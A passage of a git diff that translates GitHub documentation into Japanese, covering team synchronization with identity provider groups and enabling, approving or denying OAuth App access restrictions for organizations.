-All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour.
-Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)."
+IdP を通じた Team メンバーシップ変更はすべて、Team 同期ボットによる変更として {% data variables.product.product_name %} の Audit log に記載されます。 IdP は、Team メンバーシップのデータを 1 時間に 1 回 {% data variables.product.prodname_dotcom %} に送信します。 Team を IdP グループに接続すると、Team メンバーが削除される場合があります。 詳細は「[同期される Team のメンバーに関する要件](#requirements-for-members-of-synchronized-teams)」を参照してください。
 {% endif %}
 
 {% ifversion ghae %}
-When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs.
+IdP上でグループのメンバーシップが変更された場合、IdPはIdPが決定しているスケジュールに従い、その変更と共にSCIMリクエストを{% data variables.product.product_name %}に送信します。 {% data variables.product.prodname_dotcom %} Team または Organization のメンバーシップを変更するリクエストは、ユーザプロビジョニングの設定に使用されたアカウントによって行われた変更として監査ログに登録されます。 このアカウントに関する詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。 SCIM リクエストのスケジュールについて詳しくは、Microsoft Docs の「[ユーザプロビジョニングのステータスの確認](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)」を参照してください。
 {% endif %}
 
-Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)."
+親チームは IdP グループと同期できません。 IdP グループに接続したい Team が親チームの場合、新しい Team を作るか、Team と親チームのネスト関係を削除することをお勧めします。 詳細は、「[Team について](/articles/about-teams#nested-teams)」、「[Team の作成](/organizations/organizing-members-into-teams/creating-a-team)」、「[Organization 階層内で Team を移動する](/articles/moving-a-team-in-your-organizations-hierarchy)」を参照してください。
 
-To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." 
+IdP グループに接続された Team を含めて {% data variables.product.prodname_dotcom %} Team のリポジトリに対するアクセスを管理するには、{% data variables.product.product_name %} で変更を行う必要があります。 詳細は「[Team について](/articles/about-teams)」および「[Organization リポジトリへの Team のアクセスを管理する](/articles/managing-team-access-to-an-organization-repository)」を参照してください。
 
-{% ifversion ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %}
+{% ifversion ghec %}You can also manage team synchronization with the API. 詳しい情報については、「[Team 同期](/rest/reference/teams#team-sync)」を参照してください。{% endif %}
 
 {% ifversion ghec %}
-## Requirements for members of synchronized teams
+## 同期される Team のメンバーに関する要件
 
-After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if:
-- The person is a member of the organization on {% data variables.product.product_name %}.
-- The person has already logged in with their user account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once.
-- The person's SSO identity is a member of the IdP group.  
+チームを IdP グループに接続した後、Team 同期により、次の場合にのみ IdP グループの各メンバーが {% data variables.product.product_name %} 上の対応するチームに追加されます。
+- そのユーザが {% data variables.product.product_name %} の Organization のメンバーの場合。
+- そのユーザがすでに {% data variables.product.product_name %} のユーザアカウントでログインしており、少なくとも 1 回は SAML シングルサインオンを介して Organization または Enterprise アカウントに認証されている場合。
+- そのユーザの SSO ID が IdP グループのメンバーである場合。
 
-Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)."
+これらの条件を満たしていない既存の Team またはグループメンバーは、{% data variables.product.product_name %} の Team から自動的に削除され、リポジトリにアクセスできなくなります。 ユーザのリンクされた ID を取り消すと、IdP グループにマップされている Team からユーザが削除されます。 For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)."
 
-A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group.
+削除された Team メンバーは、SSO を使って Organization または Enterprise アカウントに認証され、接続先の IdP グループに移動すれば、再び Team に自動的に追加できます。
 
-To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+意図しない Team メンバーの削除を避けるために、Organization または Enterprise アカウントで SAML SSO を施行し、メンバーシップデータを同期するため新しい Team を作成し、IdP グループのメンバーシップを確認してから既存の Team を同期することをおすすめします。 For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
 
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
 {% ifversion ghec %}
-Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+{% data variables.product.product_name %} チームに接続する前に、Organization またはEnterprise のオーナーは、Organization または Enterprise アカウントの Team 同期を有効にする必要があります。 For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
 
-To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator.
+Team メンバーを誤って削除しないように、お使いの IdP の管理ポータルにアクセスし、現在の各 Team メンバーが、接続しようとしている IdP グループにも属していることを確認してください。 アイデンティティプロバイダにこうしたアクセスができない場合は、IdP 管理者にお問い合わせください。
 
-You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)."
+SAML SSO を使って認証する必要があります。 詳しい情報については「[SAMLシングルサインオンで認証する](/articles/authenticating-with-saml-single-sign-on)」を参照してください。
 
 {% elsif ghae %}
-Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.product.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+IdP グループを含む {% data variables.product.product_name %} チームに接続するには、最初に、サポートされている System for Cross-domain Identity Management (SCIM) を使用して {% data variables.product.product_location %} のユーザプロビジョニングを設定する必要があります。 詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。
 
-Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs.
+SCIMを使用して{% data variables.product.product_name %} のユーザプロビジョニングを設定したら、{% data variables.product.product_name %} で使用するすべての IdP グループに {% data variables.product.product_name %} アプリケーションを割り当てることができます。 詳しい情報については、Microsoft Docs の「[GitHub AE への自動ユーザプロビジョニングを設定する](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae)」を参照してください。
 {% endif %}
 
-## Connecting an IdP group to a team
+## IdP グループをTeam に接続する
 
-When you connect an IdP group to a {% data variables.product.product_name %} team, all users in the group are automatically added to the team. {% ifversion ghae %}Any users who were not already members of the parent organization members are also added to the organization.{% endif %}
+IdP グループを {% data variables.product.product_name %} Team に接続すると、グループ内のすべてのユーザが自動的に Team に追加されます。 {% ifversion ghae %}親 Organization のメンバーになっていないユーザも Organization に追加されます。{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", use the drop-down menu, and select up to 5 identity provider groups.
-    ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", use the drop-down menu, and select an identity provider group from the list.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. [Identity Provider Groups] で、ドロップダウンメニューを使用して最大 5 つまでアイデンティティプロバイダグループを選択します。 ![Drop-down menu to choose identity provider groups](/assets/images/help/teams/choose-an-idp-group.png){% elsif ghae %}
+6. [Identity Provider Group] で、ドロップダウンメニューを使用してリストからアイデンティティプロバイダグループを選択します。 ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png){% endif %}
+7. [**Save changes**] をクリックします。
 
-## Disconnecting an IdP group from a team
+## IdP グループをTeam から切断する
 
-If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %}
+{% data variables.product.prodname_dotcom %} Team から IdP グループを切断すると、その IdP グループを介して {% data variables.product.prodname_dotcom %} Team に割り当てられている Team メンバーは Team から削除されます。 {% ifversion ghae %} その Team 接続のためだけに親 Organization のメンバーであったユーザも、Organization から削除されます。{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. [Identity Provider Groups] で、切断したい IdP グループの右にある {% octicon "x" aria-label="X symbol" %} をクリックします。 ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
+6. [Identity Provider Groups] で、切断したい IdP グループの右にある {% octicon "x" aria-label="X symbol" %} をクリックします。 ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
+7. [**Save changes**] をクリックします。
diff --git a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
index 9e952acc4d..b393a422b6 100644
--- a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
+++ b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
@@ -1,5 +1,5 @@
 ---
-title: About OAuth App access restrictions
+title: OAuthアプリケーションのアクセス制限について
 intro: 'Organizations can choose which {% data variables.product.prodname_oauth_apps %} have access to their repositories and other resources by enabling {% data variables.product.prodname_oauth_app %} access restrictions.'
 redirect_from:
   - /articles/about-third-party-application-restrictions
@@ -11,18 +11,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: OAuth App access
+shortTitle: OAuth Appのアクセス
 ---
 
-## About OAuth App access restrictions
+## OAuthアプリケーションのアクセス制限について
 
-When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members cannot authorize {% data variables.product.prodname_oauth_app %} access to organization resources. Organization members can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.
+{% data variables.product.prodname_oauth_app %}のアクセス制限が有効化されると、Organizationのメンバーは{% data variables.product.prodname_oauth_app %}のOrganizationのリソースへのアクセスを認可できなくなります。 Organization members can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.
 
 {% data reusables.organizations.oauth_app_restrictions_default %}
 
 {% tip %}
 
-**Tip**: When an organization has not set up {% data variables.product.prodname_oauth_app %} access restrictions, any {% data variables.product.prodname_oauth_app %} authorized by an organization member can also access the organization's private resources.
+**Tip：**Organizationが{% data variables.product.prodname_oauth_app %}のアクセス制限をセットアップしていない場合、Organizationのメンバーが認可したすべての{% data variables.product.prodname_oauth_app %}は、Organizationのプライベートリソースにアクセスできます。
 
 {% endtip %}
 
@@ -30,39 +30,39 @@ When {% data variables.product.prodname_oauth_app %} access restrictions are ena
 To further protect your organization's resources, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes security features like SAML single sign-on. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-## Setting up {% data variables.product.prodname_oauth_app %} access restrictions
+## {% data variables.product.prodname_oauth_app %}のアクセス制限のセットアップ
 
-When an organization owner sets up {% data variables.product.prodname_oauth_app %} access restrictions for the first time:
+Organizationのオーナーが{% data variables.product.prodname_oauth_app %}のアクセス制限を初めてセットアップする場合、以下のようになります。
 
-- **Applications that are owned by the organization** are automatically given access to the organization's resources.
+- **Organizationが所有するアプリケーション**には、自動的にOrganizationのリソースへのアクセスが与えられます。
 - **{% data variables.product.prodname_oauth_apps %}** immediately lose access to the organization's resources.
-- **SSH keys created before February 2014** immediately lose access to the organization's resources (this includes user and deploy keys).
+- **2014年の2月以前に作成されたSSHキー**は、Organizationのリソースへのアクセスを即座に失います（これにはユーザ及びデプロイキーが含まれます）。
 - **SSH keys created by {% data variables.product.prodname_oauth_apps %} during or after February 2014** immediately lose access to the organization's resources.
 - **Hook deliveries from private organization repositories** will no longer be sent to unapproved {% data variables.product.prodname_oauth_apps %}.
-- **API access** to private organization resources is not available for unapproved {% data variables.product.prodname_oauth_apps %}. In addition, there are no privileged create, update, or delete actions on public organization resources.
-- **Hooks created by users and hooks created before May 2014** will not be affected.
-- **Private forks of organization-owned repositories** are subject to the organization's access restrictions.
+- **API access** to private organization resources is not available for unapproved {% data variables.product.prodname_oauth_apps %}. 加えて、パブリックなOrganizationリソースの作成、更新、削除のアクションの権限はありません。
+- **ユーザが作成したフック及び2014年の5月以前に作成されたフック**には影響ありません。
+- **Organizationが所有するリポジトリのプライベートフォーク**は、Organizationのアクセス制限に従います。
 
-## Resolving SSH access failures
+## SSHアクセスの失敗の解決
 
-When an SSH key created before February 2014 loses access to an organization with {% data variables.product.prodname_oauth_app %} access restrictions enabled, subsequent SSH access attempts will fail. Users will encounter an error message directing them to a URL where they can approve the key or upload a trusted key in its place.
+{% data variables.product.prodname_oauth_app %}のアクセス制限が有効化されたOrganizationへのアクセスを2014年2月以前に作成されたSSHキーが失った場合、それ以降のSSHアクセスの試行は失敗します。 ユーザには、キーを認可できる、あるいは信頼されたキーをそこにアップロードできるURLを示すエラーメッセージが返されます。
 
-## Webhooks
+## webhook
 
-When an {% data variables.product.prodname_oauth_app %} is granted access to the organization after restrictions are enabled, any pre-existing webhooks created by that {% data variables.product.prodname_oauth_app %} will resume dispatching.
+{% data variables.product.prodname_oauth_app %}が制限が有効化された後のOrganizationへのアクセスを許可された場合、その{% data variables.product.prodname_oauth_app %}が作成した既存のwebhookは、ディスパッチを再開します。
 
-When an organization removes access from a previously-approved {% data variables.product.prodname_oauth_app %}, any pre-existing webhooks created by that application will no longer be dispatched (these hooks will be disabled, but not deleted).
+Organizationが以前に認可された{% data variables.product.prodname_oauth_app %}からアクセスを削除した場合、そのアプリケーションが作成した既存のwebhookはディスパッチされなくなります（それらのフックは無効化されますが、削除はされません）。
 
-## Re-enabling access restrictions
+## アクセス制限の再有効化
 
-If an organization disables {% data variables.product.prodname_oauth_app %} access application restrictions, and later re-enables them, previously approved {% data variables.product.prodname_oauth_app %} are automatically granted access to the organization's resources.
+Organizationが{% data variables.product.prodname_oauth_app %}のアクセスアプリケーション制限を無効化し、後に再び有効化した場合、以前に認可されていた{% data variables.product.prodname_oauth_app %}は自動的にOrganizationのリソースへのアクセスを許可されます。
 
-## Further reading
+## 参考リンク
 
-- "[Enabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/enabling-oauth-app-access-restrictions-for-your-organization)"
+- [Organizationの{% data variables.product.prodname_oauth_app %}アクセス制限の有効化](/articles/enabling-oauth-app-access-restrictions-for-your-organization)
 - "[Approving {% data variables.product.prodname_oauth_apps %} for your organization](/articles/approving-oauth-apps-for-your-organization)"
-- "[Reviewing your organization's installed integrations](/articles/reviewing-your-organization-s-installed-integrations)"
-- "[Denying access to a previously approved {% data variables.product.prodname_oauth_app %} for your organization](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)"
-- "[Disabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/disabling-oauth-app-access-restrictions-for-your-organization)"
+- [Organizationにインストールされたインテグレーションのレビュー](/articles/reviewing-your-organization-s-installed-integrations)
+- [Organizationに以前に承認された{% data variables.product.prodname_oauth_app %}へのアクセスの拒否](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)
+- [Organizationの{% data variables.product.prodname_oauth_app %}アクセス制限の無効化](/articles/disabling-oauth-app-access-restrictions-for-your-organization)
 - "[Requesting organization approval for {% data variables.product.prodname_oauth_apps %}](/articles/requesting-organization-approval-for-oauth-apps)"
-- "[Authorizing {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
+- 「[{% data variables.product.prodname_oauth_apps %} を認可する](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)」
diff --git a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
index c945c1acab..790d9e4efd 100644
--- a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Approving OAuth Apps for your organization
-intro: 'When an organization member requests {% data variables.product.prodname_oauth_app %} access to organization resources, organization owners can approve or deny the request.'
+title: Organization 用の OAuth アプリケーションの承認
+intro: '{% data variables.product.prodname_oauth_app %}による Organization のリソースへのアクセスを Organization のメンバーがリクエストしてきた場合、Organization のオーナーはそのリクエストを承認あるいは否認できます。'
 redirect_from:
   - /articles/approving-third-party-applications-for-your-organization
   - /articles/approving-oauth-apps-for-your-organization
@@ -11,18 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Approve OAuth Apps
+shortTitle: OAuth Appの承認
 ---
-When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members must [request approval](/articles/requesting-organization-approval-for-oauth-apps) from an organization owner before they can authorize an {% data variables.product.prodname_oauth_app %} that has access to the organization's resources.
+
+{% data variables.product.prodname_oauth_app %}のアクセス制限が有効化されている場合、Organization のメンバーは Organization のリソースへのアクセスを持つ {% data variables.product.prodname_oauth_app %}を承認する前に、Organization のオーナーからの[承認をリクエスト](/articles/requesting-organization-approval-for-oauth-apps)しなければなりません。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Next to the application you'd like to approve, click **Review**.
-![Review request link](/assets/images/help/settings/settings-third-party-approve-review.png)
-6. After you review the information about the requested application, click **Grant access**.
-![Grant access button](/assets/images/help/settings/settings-third-party-approve-grant.png)
+5. 承認したいアプリケーションの隣で [**Review**] をクリックします。 ![レビューのリクエストリンク](/assets/images/help/settings/settings-third-party-approve-review.png)
+6. リクエストされたアプリケーションに関する情報をレビューしたら、[**Grant access**] をクリックします。 ![アクセスの許可ボタン](/assets/images/help/settings/settings-third-party-approve-grant.png)
 
-## Further reading
+## 参考リンク
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- [{% data variables.product.prodname_oauth_app %}のアクセス制限について](/articles/about-oauth-app-access-restrictions)
diff --git a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
index da3f557b72..043f6e25a0 100644
--- a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Denying access to a previously approved OAuth App for your organization
-intro: 'If an organization no longer requires a previously authorized {% data variables.product.prodname_oauth_app %}, owners can remove the application''s access to the organization''s resources.'
+title: 以前承認した OAuth App への Organization のアクセスを拒否する
+intro: '以前承認した {% data variables.product.prodname_oauth_app %} を Organization が必要としなくなった場合、オーナーは Organization リソースへのアプリケーションのアクセスを削除できます。'
 redirect_from:
   - /articles/denying-access-to-a-previously-approved-application-for-your-organization
   - /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization
@@ -11,13 +11,11 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Deny OAuth App
+shortTitle: OAuth Appの拒否
 ---
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Next to the application you'd like to disable, click {% octicon "pencil" aria-label="The edit icon" %}.
-  ![Edit icon](/assets/images/help/settings/settings-third-party-deny-edit.png)
-6. Click **Deny access**.
-  ![Deny confirmation button](/assets/images/help/settings/settings-third-party-deny-confirm.png)
+5. 無効化したいアプリケーションの隣にある {% octicon "pencil" aria-label="The edit icon" %} をクリックします。 ![編集アイコン](/assets/images/help/settings/settings-third-party-deny-edit.png)
+6. [**Deny access**] をクリックします。 ![拒否の確定ボタン](/assets/images/help/settings/settings-third-party-deny-confirm.png)
diff --git a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
index 4931bc44cc..2ddc3cf0f0 100644
--- a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
@@ -1,5 +1,5 @@
 ---
-title: Disabling OAuth App access restrictions for your organization
+title: Organization の OAuth App アクセス制限の無効化
 intro: 'Organization owners can disable restrictions on the {% data variables.product.prodname_oauth_apps %} that have access to the organization''s resources.'
 redirect_from:
   - /articles/disabling-third-party-application-restrictions-for-your-organization
@@ -11,19 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable OAuth App
+shortTitle: OAuth Appの無効化
 ---
 
 {% danger %}
 
-**Warning**: When you disable {% data variables.product.prodname_oauth_app %} access restrictions for your organization, any organization member will automatically authorize {% data variables.product.prodname_oauth_app %} access to the organization's private resources when they approve an application for use in their personal account settings.
+**警告**: Organization で {% data variables.product.prodname_oauth_app %} のアクセス制限を無効化すると、Organization のメンバーであれば誰でも、個人アカウント設定でアプリケーションの使用を承認していれば、自動的に {% data variables.product.prodname_oauth_app %} から Organization のプライベートリソースへのアクセスが認証されます。
 
 {% enddanger %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Click **Remove restrictions**.
-  ![Remove restrictions button](/assets/images/help/settings/settings-third-party-remove-restrictions.png)
-6. After you review the information about disabling third-party application restrictions, click **Yes, remove application restrictions**.
-  ![Remove confirmation button](/assets/images/help/settings/settings-third-party-confirm-disable.png)
+5. [**Remove restrictions**] をクリックします。 ![[Remove restrictions] ボタン](/assets/images/help/settings/settings-third-party-remove-restrictions.png)
+6. サードパーティアプリケーション制限の無効化に関する情報を確認したら、[**Yes, remove application restrictions**] (はい、アプリケーション制限を削除します) をクリックします。 ![[Remove confirmation] ボタン](/assets/images/help/settings/settings-third-party-confirm-disable.png)
diff --git a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
index 5ad4a078f8..c08a964353 100644
--- a/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
@@ -1,5 +1,5 @@
 ---
-title: Enabling OAuth App access restrictions for your organization
+title: Organization の OAuth App アクセス制限を有効化する
 intro: 'Organization owners can enable {% data variables.product.prodname_oauth_app %} access restrictions to prevent untrusted apps from accessing the organization''s resources while allowing organization members to use {% data variables.product.prodname_oauth_apps %} for their personal accounts.'
 redirect_from:
   - /articles/enabling-third-party-application-restrictions-for-your-organization
@@ -11,24 +11,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable OAuth App
+shortTitle: OAuth Appの有効化
 ---
 
 {% data reusables.organizations.oauth_app_restrictions_default %}
 
 {% warning %}
 
-**Warnings**:
-- Enabling {% data variables.product.prodname_oauth_app %} access restrictions will revoke organization access for all previously authorized {% data variables.product.prodname_oauth_apps %} and SSH keys. For more information, see "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)."
-- Once you've set up {% data variables.product.prodname_oauth_app %} access restrictions, make sure to re-authorize any {% data variables.product.prodname_oauth_app %} that require access to the organization's private data on an ongoing basis. All organization members will need to create new SSH keys, and the organization will need to create new deploy keys as needed.
-- When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, applications can use an OAuth token to access information about {% data variables.product.prodname_marketplace %} transactions.
+**警告**:
+- Enabling {% data variables.product.prodname_oauth_app %} access restrictions will revoke organization access for all previously authorized {% data variables.product.prodname_oauth_apps %} and SSH keys. 詳しい情報については、「[{% data variables.product.prodname_oauth_app %}のアクセス制限について](/articles/about-oauth-app-access-restrictions)」を参照してください。
+- {% data variables.product.prodname_oauth_app %} のアクセス制限を設定したら、Organization のプライベートなデータへのアクセスを必要とするすべての {% data variables.product.prodname_oauth_app %} を再認証してください。 Organization のすべてのメンバーは新しい SSH キーを作成する必要があり、Organization は必要に応じて新しいデプロイキーを作成する必要があります。
+- {% data variables.product.prodname_oauth_app %} のアクセス制限が有効化されると、アプリケーションで OAuth トークンを使用して {% data variables.product.prodname_marketplace %} 取引に関する情報にアクセスできます。
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Under "Third-party application access policy," click **Setup application access restrictions**.
-  ![Set up restrictions button](/assets/images/help/settings/settings-third-party-set-up-restrictions.png)
-6. After you review the information about third-party access restrictions, click **Restrict third-party application access**.
-  ![Restriction confirmation button](/assets/images/help/settings/settings-third-party-restrict-confirm.png)
